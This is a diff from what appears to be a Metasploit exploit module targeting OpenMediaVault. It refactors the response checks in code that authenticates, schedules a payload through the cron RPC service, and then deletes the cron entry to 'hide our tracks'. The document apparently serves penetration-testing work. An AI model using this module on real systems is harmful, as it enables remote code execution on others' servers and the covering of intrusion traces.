@@ -84,6 +84,10 @@ def pass
84
84
datastore [ 'PASSWORD' ]
85
85
end
86
86
87
+ def rpc_success? ( res )
88
+ res &.code == 200 && res . body . include? ( '"error":null' )
89
+ end
90
+
87
91
def login ( user , pass )
88
92
print_status ( "#{ peer } - Authenticating with OpenMediaVault using credentials #{ user } :#{ pass } " )
89
93
res = send_request_cgi ( {
@@ -120,7 +124,7 @@ def check_version
120
124
}
121
125
} . to_json
122
126
} )
123
- return nil unless res && res . code == 200 && res . body . include? ( '"error":null' )
127
+ return nil unless rpc_success? ( res )
124
128
125
129
# parse json response and get the version
126
130
res_json = res . get_json_document
@@ -135,7 +139,7 @@ def check_version
135
139
136
140
def apply_config_changes
137
141
# Apply OpenMediaVault configuration changes
138
- return send_request_cgi ( {
142
+ send_request_cgi ( {
139
143
'uri' => normalize_uri ( target_uri . path , '/rpc.php' ) ,
140
144
'method' => 'POST' ,
141
145
'ctype' => 'application/json' ,
@@ -193,7 +197,7 @@ def execute_command(cmd, _opts = {})
193
197
'keep_cookies' => true ,
194
198
'data' => post_data
195
199
} )
196
- fail_with ( Failure ::Unknown , 'Cannot access cron services to schedule payload execution.' ) unless res && res . code == 200 && res . body . include? ( '"error":null' )
200
+ fail_with ( Failure ::Unknown , 'Cannot access cron services to schedule payload execution.' ) unless rpc_success? ( res )
197
201
198
202
# parse json response and get the uuid of the cron entry
199
203
# we need this later to clean up and hide our tracks
@@ -222,10 +226,10 @@ def on_new_session(_session)
222
226
options : nil
223
227
} . to_json
224
228
} )
225
- if res && res . code == 200 && res . body . include? ( '"error":null' )
229
+ if rpc_success? ( res )
226
230
# Apply changes and update cron configuration to remove the payload entry
227
231
res = apply_config_changes
228
- if res && res . code == 200 && res . body . include? ( '"error":null' )
232
+ if rpc_success? ( res )
229
233
print_good ( 'Cron payload entry successfully removed.' )
230
234
else
231
235
print_warning ( 'Cannot apply the cron changes to remove the payload entry.' )
0 commit comments